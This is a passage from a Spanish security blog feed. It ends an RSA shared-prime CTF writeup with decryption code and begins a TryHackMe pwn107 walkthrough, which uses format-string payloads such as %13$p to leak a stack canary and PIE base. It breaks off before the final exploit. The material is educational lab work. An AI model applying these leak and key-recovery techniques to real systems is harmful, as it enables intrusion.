<span class="k">def</span> <span class="nf">mcd</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">):</span>
   <span class="k">if</span> <span class="n">a</span> <span class="o">&lt;</span> <span class="n">b</span><span class="p">:</span>
     <span class="n">a</span><span class="p">,</span> <span class="n">b</span> <span class="o">=</span> <span class="n">b</span><span class="p">,</span> <span class="n">a</span>
   <span class="k">while</span> <span class="n">b</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">:</span>
     <span class="n">temp</span> <span class="o">=</span> <span class="n">a</span> <span class="o">%</span> <span class="n">b</span>
     <span class="n">a</span> <span class="o">=</span> <span class="n">b</span>
     <span class="n">b</span> <span class="o">=</span> <span class="n">temp</span>
   <span class="k">return</span> <span class="n">a</span>

<span class="k">def</span> <span class="nf">rsa_decrypt</span><span class="p">(</span><span class="n">prime1</span><span class="p">,</span> <span class="n">prime2</span><span class="p">,</span> <span class="n">n</span><span class="p">,</span> <span class="n">c</span><span class="p">,</span> <span class="n">e</span><span class="p">):</span>
    
    <span class="n">phi</span> <span class="o">=</span> <span class="p">(</span><span class="n">prime1</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="o">*</span> <span class="p">(</span><span class="n">prime2</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span>
    <span class="c1"># inverso de e modulo phi --&gt; d
</span>    <span class="n">gcd</span><span class="p">,</span> <span class="n">a</span><span class="p">,</span> <span class="n">b</span> <span class="o">=</span> <span class="n">egcd</span><span class="p">(</span><span class="n">e</span><span class="p">,</span> <span class="n">phi</span><span class="p">)</span>
    <span class="n">d</span> <span class="o">=</span> <span class="n">a</span>
    <span class="c1"># texto plano
</span>    <span class="k">return</span> <span class="nb">pow</span><span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="n">d</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span>

<span class="n">n1</span><span class="o">=</span><span class="mi">17824662063931350214223386810814852301249515497497139812902163502913781924494611383559346606809815236390210116817784675436123817314832624239657588495739923029371893435842952633535768082946372752199420527479895241774646728166830063698600428670873489541441038897760730320294745670668053915562174940630507138294534347731116571076461922963834100132973236843497044086332284604129786238315376752921033613925923455396251665685832824666952007264503312922306586584664237974009954961856288489437483125273510945425456410783438852350972373785999603984625001762658969945048955998467179256971330663798743101126043605183291761793679</span>
<span class="n">n2</span><span class="o">=</span><span class="mi">17460577025417532617145065037522684719407212829127451193876716400196816451636430831743273489268207759853471132779546752834413623537793912793243812987259466151761228452196854582811181807331843291280738156817866981931271729145201226943579856417184407304033533100808047053336224549884935791510122547487389856804128285266553747962197617004719267537827108328539484564367891730008842618178044124246682603653614368491934722999483505794204154388663752989138088424922985942599433814759715253917667843057739090927990433558072887522997800471142027386754437727690122530332561092903112609343096885413214207313020041427777416836713</span>
<span class="n">n3</span><span class="o">=</span><span class="mi">19114115977732462701709687019902486937265612420334195715080797324907548368977075060698379696844613238474174655637002859494277633539823803694788625199412189504047299862787677238571557745235955402842143068069196101309866614792992094693162184772586974368956295124443272755898820570613890603947101529357476017518645136618906447433181071918544531652127075189503179140301462754620053974156552468411421074335786969199496555935064048045710530822473363892607723160785400638903937101974117782322313128438097540590522784580157463985226829290798397701018877754144380300784917111841349513391737293839942174090204466464441015492703</span>
<span class="n">n4</span> <span class="o">=</span> <span class="mi">15680798551643988657227725199725012596795476788443067644763327604090511762090190479406955886477193871047341493066942394066713967749566032658288400768708478341188709773196419875727016823917358484802065657425968279639244589186765648041473389736294238890134959149156339523848000619170500615417270307174902991451802589702742104898640491331399313066713005239533220591758448459212465699731809196452098191187437776390331912957335192003925860873345418433583557156541796722390972745247097857595266619755507337406241346213908727239306423754384980052987581645674239898136379044720051607822563712811867075155274128421366838519583</span>
<span class="n">c</span> <span class="o">=</span> <span class="mi">10931058306942089020672057700581464428272909160353174713420959992035643910409437837187988347774125974665123119596431537155658853351159062468188944273070821066937237766435849750062631870599237918419915582762855108175779466748532994055347749365575084502626428185068686508679344635119892041843950322009250685069064283921279309138421372296737657744514129020131720923828146884007481363881729475896383613849306362295706529335684081107062687862374744078331843219193260330138477840191131061097362730166647002540441817773187701136784352161143486235686385064948492946913439739470641841610262898366469961158456034571552582618844</span>

<span class="n">q</span> <span class="o">=</span> <span class="n">mcd</span><span class="p">(</span><span class="n">n1</span><span class="p">,</span><span class="n">n2</span><span class="p">)</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">mcd</span><span class="p">(</span><span class="n">n2</span><span class="p">,</span><span class="n">n3</span><span class="p">)</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">mcd</span><span class="p">(</span><span class="n">n1</span><span class="p">,</span><span class="n">n3</span><span class="p">)</span>
<span class="n">t</span> <span class="o">=</span> <span class="n">n4</span> <span class="o">//</span> <span class="n">r</span>
<span class="n">e</span> <span class="o">=</span> <span class="mi">65537</span>
<span class="k">print</span><span class="p">(</span><span class="s">"p = "</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">p</span><span class="p">))</span>
<span class="k">print</span><span class="p">(</span><span class="s">"q = "</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">q</span><span class="p">))</span>
<span class="k">print</span><span class="p">(</span><span class="s">"r = "</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">r</span><span class="p">))</span>
<span class="k">print</span><span class="p">(</span><span class="s">"t = "</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">t</span><span class="p">))</span>

<span class="n">ct4</span> <span class="o">=</span> <span class="n">rsa_decrypt</span><span class="p">(</span><span class="n">r</span><span class="p">,</span><span class="n">t</span><span class="p">,</span><span class="n">n4</span><span class="p">,</span><span class="n">c</span><span class="p">,</span><span class="n">e</span><span class="p">)</span>
<span class="n">ct3</span> <span class="o">=</span> <span class="n">rsa_decrypt</span><span class="p">(</span><span class="n">p</span><span class="p">,</span><span class="n">r</span><span class="p">,</span><span class="n">n3</span><span class="p">,</span><span class="n">ct4</span><span class="p">,</span><span class="n">e</span><span class="p">)</span>
<span class="n">ct2</span> <span class="o">=</span> <span class="n">rsa_decrypt</span><span class="p">(</span><span class="n">r</span><span class="p">,</span><span class="n">q</span><span class="p">,</span><span class="n">n2</span><span class="p">,</span><span class="n">ct3</span><span class="p">,</span><span class="n">e</span><span class="p">)</span>
<span class="n">pt</span> <span class="o">=</span> <span class="n">rsa_decrypt</span><span class="p">(</span><span class="n">p</span><span class="p">,</span><span class="n">q</span><span class="p">,</span><span class="n">n1</span><span class="p">,</span><span class="n">ct2</span><span class="p">,</span><span class="n">e</span><span class="p">)</span>

<span class="k">print</span><span class="p">(</span><span class="n">long_to_bytes</span><span class="p">(</span><span class="n">pt</span><span class="p">).</span><span class="n">strip</span><span class="p">())</span>
</code></pre></div></div>

<p><img class="post-img" src="/assets/posts/writeup-una-al-mes-junio-2022-criptografia/uam_flag2.webp" alt="" loading="lazy" /></p>

<h3 id="tercera-flag">Tercera flag</h3>

<p>Teniendo la segunda flag, podemos introducirla en el código y continuar con la ejecución. Nada más introducirla, el programa escupe la tercera flag:</p>

<p><img class="post-img" src="/assets/posts/writeup-una-al-mes-junio-2022-criptografia/uam7.webp" alt="" loading="lazy" /></p>

<p>Con esto terminamos. Ha sido un reto muy entretenido. Muchas gracias a la gente de <a href="https://twitter.com/hispasec">Hispasec</a> por desarrollarlo.</p>

<p>Espero que os haya gustado y, lo más importante, que hayáis aprendido</p>

<p>DiegoAltF4</p>]]></content><author><name>Diego Palacios</name></author><category term="blog" /><category term="spanish" /><category term="archive" /><summary type="html"><![CDATA[Hoy veremos cómo resolver el nuevo reto de criptografía de la plataforma “Una Al Mes”.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://diegoaltf4.com/assets/posts/writeup-una-al-mes-junio-2022-criptografia/cover.webp" /><media:content medium="image" url="https://diegoaltf4.com/assets/posts/writeup-una-al-mes-junio-2022-criptografia/cover.webp" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Writeup Challenge 7 | pwn101 TryHackMe</title><link href="https://diegoaltf4.com/challenge7-pwn101/" rel="alternate" type="text/html" title="Writeup Challenge 7 | pwn101 TryHackMe" /><published>2022-06-08T00:28:10+00:00</published><updated>2022-06-08T00:28:10+00:00</updated><id>https://diegoaltf4.com/challenge7-pwn101</id><content type="html" xml:base="https://diegoaltf4.com/challenge7-pwn101/"><![CDATA[<p>Hoy vamos a ver cómo resolver el challenge 7 de la room pwn101 de TryHackMe.</p>

<h3 id="introducción">Introducción:</h3>

<p>Este reto pertenece a la <a href="https://tryhackme.com/room/pwn101">room PWN101 de TryHackMe</a>. En él, veremos como aprovechar un <strong><em>format string vulnerability</em></strong> para conseguir leakear un canario además de un leak de pie. Posteriormente, saltaremos a una función <em>get_streak</em> para conseguir una instancia de <strong><em>/bin/sh.</em></strong></p>

<h3 id="análisis-inicial-del-binario">Análisis inicial del binario:</h3>

<p>Para comenzar, vamos a mirar ante qué tipo de binario nos estamos enfrentando.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ file pwn107.pwn107

pwn107.pwn107: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=0579b2a29d47165653fbb791fb528c59e951a1a0, not stripped
</code></pre></div></div>

<p>Se trata de un ELF de 64 bits, enlazado dinamicamente y <em>no stripped.</em> Esto último nos ayudará en la fase de reversing.</p>

<p>Ahora, vamos a mirar las protecciones del mismo. Para ello, podemos utilizar la utilidad <strong><em>checksec.</em></strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ checksec pwn107.pwn107

[*] '/home/diegoaltf4/pwn107.pwn107'

    Arch: amd64-64-little

    RELRO: Full RELRO

    Stack: Canary found

    NX: NX enabled

    PIE: PIE enabled
</code></pre></div></div>

<p>Vemos que tiene canarios, NX y PIE. Esta información es muy importante para poder explotar adecuadamente el binario.</p>

<h3 id="análisis-del-decompilado">Análisis del decompilado:</h3>

<p>Para esta parte, podemos emplear la herramienta <strong><em>ghidra.</em></strong></p>

<p>Dado que el binario no está stripped, podemos tener acceso a toda la lista de símbolos.</p>

<p><img class="post-img" src="/assets/posts/challenge7-pwn101/PWN1.webp" alt="" loading="lazy" /></p>

<p>Vamos a analizar la función main:</p>

<p><img class="post-img" src="/assets/posts/challenge7-pwn101/PWN2.webp" alt="" loading="lazy" /></p>

<p>Bien, el programa nos pide un primer input que guardará en lo que he nombrado <em>input1.</em> Esta variable tiene un tamaño máximo de 32 bytes y en el read se leen como máximo 20 bytes. Seguidamente, imprime una cadena y el valor de <em>input1</em>. Dado que no especifica el formato de la variable que se va a imprimir, estamos delante de un <strong><em>Format String Vulnerability.</em></strong></p>

<p>Posteriormente, nos pide un segundo input que almacena en la variable <em>input2</em>. Esta variable tiene un tamaño máximo de 24 bytes y en el read se leen como máximo 512 bytes. Aquí nos encontramos con la segunda vulnerabilidad.</p>

<p>Finalmente, comprueba que el canario no haya sido modificado. Si ha sido modificado, saldrá del programa al grito de: <strong>*** stack smashing detected : terminated. **</strong>*</p>

<p>Mirando el resto de funciones, podemos encontrar una muy interesante <strong><em>get_streak</em></strong>. Si conseguimos saltar a esta función podremos conseguir una shell:</p>

<p><img class="post-img" src="/assets/posts/challenge7-pwn101/PWN4.webp" alt="" loading="lazy" /></p>

<h3 id="explotación">Explotación:</h3>

<p>Lo primero que tenemos que hacer es conseguir un leak del canario usando el <strong><em>format string vulnerability</em></strong>. Para esta tarea podemos emplear la herramienta <a href="https://github.com/Diego-AltF4/GLUFS">GLUFS</a> que desarrollé hace poco. Nos va a ayudar a automatizar todo el proceso de obtención de leaks.</p>

<p>La instalación es muy simple:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>git clone https://github.com/Diego-AltF4/GLUFS.git

cd GLUFS/

pip3 install -r requirements.txt

chmod +x ./glufs.py
</code></pre></div></div>

<p>Ahora hay que modificar un pequeño fragmento del script para adaptarlo a nuestro binario. La zona que hay que modificar está claramente indicada y en nuestro caso quedaría de la siguiente forma:</p>

<p class="code-title">confGLUFS.py</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#######################################################################
#      This is the part that you must modify to fit your binary.      #
#######################################################################
#
</span><span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">'streak?'</span><span class="p">,</span> <span class="n">payload</span><span class="p">)</span>	
<span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'current streak:'</span><span class="p">)</span>
<span class="n">leak</span> <span class="o">=</span> <span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">).</span><span class="n">strip</span><span class="p">(</span><span class="sa">b</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="c1">#
#######################################################################
</span></code></pre></div></div>

<p>Ya podemos empezar a buscar leaks. Usaremos la opción <strong><em>–canary</em></strong>y la opción <strong><em>–pie</em></strong></p>

<p class="code-title">output.py</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">$</span> <span class="p">.</span><span class="o">/</span><span class="n">glufs</span><span class="p">.</span><span class="n">py</span> <span class="o">-</span><span class="n">b</span> <span class="p">.</span><span class="o">/</span><span class="n">pwn107</span><span class="p">.</span><span class="n">pwn107</span> <span class="o">-</span><span class="nb">min</span> <span class="mi">5</span> <span class="o">-</span><span class="nb">max</span> <span class="mi">20</span> <span class="o">--</span><span class="n">canary</span> <span class="o">--</span><span class="n">pie</span>

 <span class="p">.</span><span class="n">d8888b</span><span class="p">.</span>  <span class="mi">888</span>     <span class="mi">888</span>     <span class="mi">888</span> <span class="mi">8888888888</span> <span class="p">.</span><span class="n">d8888b</span><span class="p">.</span>  
<span class="n">d88P</span>  <span class="n">Y88b</span> <span class="mi">888</span>     <span class="mi">888</span>     <span class="mi">888</span> <span class="mi">888</span>       <span class="n">d88P</span>  <span class="n">Y88b</span> 
<span class="mi">888</span>    <span class="mi">888</span> <span class="mi">888</span>     <span class="mi">888</span>     <span class="mi">888</span> <span class="mi">888</span>       <span class="n">Y88b</span><span class="p">.</span>      
<span class="mi">888</span>        <span class="mi">888</span>     <span class="mi">888</span>     <span class="mi">888</span> <span class="mi">8888888</span>    <span class="s">"Y888b.   
888  88888 888     888     888 888           "</span><span class="n">Y88b</span><span class="p">.</span> 
<span class="mi">888</span>    <span class="mi">888</span> <span class="mi">888</span>     <span class="mi">888</span>     <span class="mi">888</span> <span class="mi">888</span>             <span class="s">"888 
Y88b  d88P 888     Y88b. .d88P 888       Y88b  d88P 
 "</span><span class="n">Y8888P88</span> <span class="mi">88888888</span> <span class="s">"Y88888P"</span>  <span class="mi">888</span>        <span class="s">"Y8888P"</span>  

                <span class="n">By</span><span class="p">:</span> <span class="n">DiegoAltF4</span>

<span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="s">'/home/diegoaltf4/pwn107.pwn107'</span>
    <span class="n">Arch</span><span class="p">:</span>     <span class="n">amd64</span><span class="o">-</span><span class="mi">64</span><span class="o">-</span><span class="n">little</span>
    <span class="n">RELRO</span><span class="p">:</span>    <span class="n">Full</span> <span class="n">RELRO</span>
    <span class="n">Stack</span><span class="p">:</span>    <span class="n">Canary</span> <span class="n">found</span>
    <span class="n">NX</span><span class="p">:</span>       <span class="n">NX</span> <span class="n">enabled</span>
    <span class="n">PIE</span><span class="p">:</span>      <span class="n">PIE</span> <span class="n">enabled</span>
<span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="n">Setting</span> <span class="n">the</span> <span class="n">maximum</span> <span class="n">value</span> <span class="n">to</span> <span class="mi">20</span>
<span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="n">Setting</span> <span class="n">the</span> <span class="n">minimun</span> <span class="n">value</span> <span class="n">to</span> <span class="mi">5</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">Starting</span> <span class="n">local</span> <span class="n">process</span> <span class="s">'/home/diegoaltf4/pwn107.pwn107'</span><span class="p">:</span> <span class="n">pid</span> <span class="mi">27366</span>
<span class="o">=========================================================</span>
<span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="mi">5</span> <span class="nb">round</span>
<span class="o">=========================================================</span>
<span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="n">Stopped</span> <span class="n">process</span> <span class="s">'/home/diegoaltf4/pwn107.pwn107'</span> <span class="p">(</span><span class="n">pid</span> <span class="mi">27366</span><span class="p">)</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">Starting</span> <span class="n">local</span> <span class="n">process</span> <span class="s">'/home/diegoaltf4/pwn107.pwn107'</span><span class="p">:</span> <span class="n">pid</span> <span class="mi">27368</span>
<span class="o">=========================================================</span>
<span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="mi">6</span> <span class="nb">round</span>
<span class="o">=========================================================</span>
<span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="n">Stopped</span> <span class="n">process</span> <span class="s">'/home/diegoaltf4/pwn107.pwn107'</span> <span class="p">(</span><span class="n">pid</span> <span class="mi">27368</span><span class="p">)</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">Starting</span> <span class="n">local</span> <span class="n">process</span> <span class="s">'/home/diegoaltf4/pwn107.pwn107'</span><span class="p">:</span> <span class="n">pid</span> <span class="mi">27370</span>
<span class="o">=========================================================</span>
<span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="mi">7</span> <span class="nb">round</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">leak</span><span class="p">:</span> <span class="mh">0x55d03fc00add</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">Possible</span> <span class="n">pie</span> <span class="n">leak</span> <span class="n">found</span> <span class="k">with</span> <span class="n">payload</span><span class="p">:</span> <span class="o">%</span><span class="mi">7</span><span class="err">$</span><span class="n">p</span>
<span class="o">=========================================================</span>
<span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="n">Stopped</span> <span class="n">process</span> <span class="s">'/home/diegoaltf4/pwn107.pwn107'</span> <span class="p">(</span><span class="n">pid</span> <span class="mi">27370</span><span class="p">)</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">Starting</span> <span class="n">local</span> <span class="n">process</span> <span class="s">'/home/diegoaltf4/pwn107.pwn107'</span><span class="p">:</span> <span class="n">pid</span> <span class="mi">27372</span>
<span class="o">=========================================================</span>
<span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="mi">8</span> <span class="nb">round</span>
<span class="o">=========================================================</span>
<span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="n">Stopped</span> <span class="n">process</span> <span class="s">'/home/diegoaltf4/pwn107.pwn107'</span> <span class="p">(</span><span class="n">pid</span> <span class="mi">27372</span><span class="p">)</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">Starting</span> <span class="n">local</span> <span class="n">process</span> <span class="s">'/home/diegoaltf4/pwn107.pwn107'</span><span class="p">:</span> <span class="n">pid</span> <span class="mi">27374</span>
<span class="o">=========================================================</span>
<span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="mi">9</span> <span class="nb">round</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">leak</span><span class="p">:</span> <span class="mh">0x55fafaa00a90</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">Possible</span> <span class="n">pie</span> <span class="n">leak</span> <span class="n">found</span> <span class="k">with</span> <span class="n">payload</span><span class="p">:</span> <span class="o">%</span><span class="mi">9</span><span class="err">$</span><span class="n">p</span>
<span class="o">=========================================================</span>
<span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="n">Stopped</span> <span class="n">process</span> <span class="s">'/home/diegoaltf4/pwn107.pwn107'</span> <span class="p">(</span><span class="n">pid</span> <span class="mi">27374</span><span class="p">)</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">Starting</span> <span class="n">local</span> <span class="n">process</span> <span class="s">'/home/diegoaltf4/pwn107.pwn107'</span><span class="p">:</span> <span class="n">pid</span> <span class="mi">27376</span>
<span class="p">[</span><span class="o">-</span><span class="p">]</span> <span class="n">nil</span> <span class="n">found</span>
<span class="o">=========================================================</span>
<span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="n">Stopped</span> <span class="n">process</span> <span class="s">'/home/diegoaltf4/pwn107.pwn107'</span> <span class="p">(</span><span class="n">pid</span> <span class="mi">27376</span><span class="p">)</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">Starting</span> <span class="n">local</span> <span class="n">process</span> <span class="s">'/home/diegoaltf4/pwn107.pwn107'</span><span class="p">:</span> <span class="n">pid</span> <span class="mi">27378</span>
<span class="o">=========================================================</span>
<span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="mi">11</span> <span class="nb">round</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">leak</span><span class="p">:</span> <span class="mh">0x563c99600780</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">Possible</span> <span class="n">pie</span> <span class="n">leak</span> <span class="n">found</span> <span class="k">with</span> <span class="n">payload</span><span class="p">:</span> <span class="o">%</span><span class="mi">11</span><span class="err">$</span><span class="n">p</span>
<span class="o">=========================================================</span>
<span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="n">Stopped</span> <span class="n">process</span> <span class="s">'/home/diegoaltf4/pwn107.pwn107'</span> <span class="p">(</span><span class="n">pid</span> <span class="mi">27378</span><span class="p">)</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">Starting</span> <span class="n">local</span> <span class="n">process</span> <span class="s">'/home/diegoaltf4/pwn107.pwn107'</span><span class="p">:</span> <span class="n">pid</span> <span class="mi">27380</span>
<span class="o">=========================================================</span>
<span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="mi">12</span> <span class="nb">round</span>
<span class="o">=========================================================</span>
<span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="n">Stopped</span> <span class="n">process</span> <span class="s">'/home/diegoaltf4/pwn107.pwn107'</span> <span class="p">(</span><span class="n">pid</span> <span class="mi">27380</span><span class="p">)</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">Starting</span> <span class="n">local</span> <span class="n">process</span> <span class="s">'/home/diegoaltf4/pwn107.pwn107'</span><span class="p">:</span> <span class="n">pid</span> <span class="mi">27382</span>
<span class="o">=========================================================</span>
<span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="mi">13</span> <span class="nb">round</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">leak</span><span class="p">:</span> <span class="mh">0x93505556de8ad200</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">Possible</span> <span class="n">canary</span> <span class="n">found</span> <span class="k">with</span> <span class="n">payload</span><span class="p">:</span> <span class="o">%</span><span class="mi">13</span><span class="err">$</span><span class="n">p</span>
<span class="o">=========================================================</span>
<span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="n">Stopped</span> <span class="n">process</span> <span class="s">'/home/diegoaltf4/pwn107.pwn107'</span> <span class="p">(</span><span class="n">pid</span> <span class="mi">27382</span><span class="p">)</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">Starting</span> <span class="n">local</span> <span class="n">process</span> <span class="s">'/home/diegoaltf4/pwn107.pwn107'</span><span class="p">:</span> <span class="n">pid</span> <span class="mi">27384</span>
<span class="p">[</span><span class="o">-</span><span class="p">]</span> <span class="n">nil</span> <span class="n">found</span>
<span class="o">=========================================================</span>
<span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="n">Stopped</span> <span class="n">process</span> <span class="s">'/home/diegoaltf4/pwn107.pwn107'</span> <span class="p">(</span><span class="n">pid</span> <span class="mi">27384</span><span class="p">)</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">Starting</span> <span class="n">local</span> <span class="n">process</span> <span class="s">'/home/diegoaltf4/pwn107.pwn107'</span><span class="p">:</span> <span class="n">pid</span> <span class="mi">27386</span>
<span class="o">=========================================================</span>
<span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="mi">15</span> <span class="nb">round</span>
<span class="o">=========================================================</span>
<span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="n">Stopped</span> <span class="n">process</span> <span class="s">'/home/diegoaltf4/pwn107.pwn107'</span> <span class="p">(</span><span class="n">pid</span> <span class="mi">27386</span><span class="p">)</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">Starting</span> <span class="n">local</span> <span class="n">process</span> <span class="s">'/home/diegoaltf4/pwn107.pwn107'</span><span class="p">:</span> <span class="n">pid</span> <span class="mi">27388</span>
<span class="o">=========================================================</span>
<span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="mi">16</span> <span class="nb">round</span>
<span class="o">=========================================================</span>
<span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="n">Stopped</span> <span class="n">process</span> <span class="s">'/home/diegoaltf4/pwn107.pwn107'</span> <span class="p">(</span><span class="n">pid</span> <span class="mi">27388</span><span class="p">)</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">Starting</span> <span class="n">local</span> <span class="n">process</span> <span class="s">'/home/diegoaltf4/pwn107.pwn107'</span><span class="p">:</span> <span class="n">pid</span> <span class="mi">27390</span>
<span class="o">=========================================================</span>
<span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="mi">17</span> <span class="nb">round</span>
<span class="o">=========================================================</span>
<span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="n">Stopped</span> <span class="n">process</span> <span class="s">'/home/diegoaltf4/pwn107.pwn107'</span> <span class="p">(</span><span class="n">pid</span> <span class="mi">27390</span><span class="p">)</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">Starting</span> <span class="n">local</span> <span class="n">process</span> <span class="s">'/home/diegoaltf4/pwn107.pwn107'</span><span class="p">:</span> <span class="n">pid</span> <span class="mi">27392</span>
<span class="o">=========================================================</span>
<span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="mi">18</span> <span class="nb">round</span>
<span class="o">=========================================================</span>
<span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="n">Stopped</span> <span class="n">process</span> <span class="s">'/home/diegoaltf4/pwn107.pwn107'</span> <span class="p">(</span><span class="n">pid</span> <span class="mi">27392</span><span class="p">)</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">Starting</span> <span class="n">local</span> <span class="n">process</span> <span class="s">'/home/diegoaltf4/pwn107.pwn107'</span><span class="p">:</span> <span class="n">pid</span> <span class="mi">27394</span>
<span class="o">=========================================================</span>
<span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="mi">19</span> <span class="nb">round</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">leak</span><span class="p">:</span> <span class="mh">0x55ba16c00992</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">Possible</span> <span class="n">pie</span> <span class="n">leak</span> <span class="n">found</span> <span class="k">with</span> <span class="n">payload</span><span class="p">:</span> <span class="o">%</span><span class="mi">19</span><span class="err">$</span><span class="n">p</span>
<span class="o">=========================================================</span>
<span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="n">Stopped</span> <span class="n">process</span> <span class="s">'/home/diegoaltf4/pwn107.pwn107'</span> <span class="p">(</span><span class="n">pid</span> <span class="mi">27394</span><span class="p">)</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">Starting</span> <span class="n">local</span> <span class="n">process</span> <span class="s">'/home/diegoaltf4/pwn107.pwn107'</span><span class="p">:</span> <span class="n">pid</span> <span class="mi">27396</span>
<span class="o">=========================================================</span>
<span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="mi">20</span> <span class="nb">round</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">leak</span><span class="p">:</span> <span class="mh">0x5575a6e00a90</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">Possible</span> <span class="n">pie</span> <span class="n">leak</span> <span class="n">found</span> <span class="k">with</span> <span class="n">payload</span><span class="p">:</span> <span class="o">%</span><span class="mi">20</span><span class="err">$</span><span class="n">p</span>
<span class="o">=========================================================</span>
<span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="n">Stopped</span> <span class="n">process</span> <span class="s">'/home/diegoaltf4/pwn107.pwn107'</span> <span class="p">(</span><span class="n">pid</span> <span class="mi">27396</span><span class="p">)</span>
</code></pre></div></div>

<p>Como se puede ver, hemos encontrado bastantes cosas:</p>

<p><img class="post-img" src="/assets/posts/challenge7-pwn101/PWN5.webp" alt="" loading="lazy" /></p>

<p>Por ejemplo, con el payload <strong><em>%11$p</em></strong> conseguimos un leak de pie y con el payload <strong><em>%13$p</em></strong>conseguimos un leak del canario. Ahora solo queda analizar a qué distancia se encuentra el leak de pie de la base del binario. Para esto vamos a iniciar gdb (yo voy a utilizar<strong><em>gdb-pwndbg</em></strong>).</p>

<p>Pondremos un breakpoint en <strong><em>b *main+164</em></strong>que es cuando imprime nuestro input1, es decir, nuestro payload.</p>

<p><img class="post-img" src="/assets/posts/challenge7-pwn101/PWN6.webp" alt="" loading="lazy" /></p>

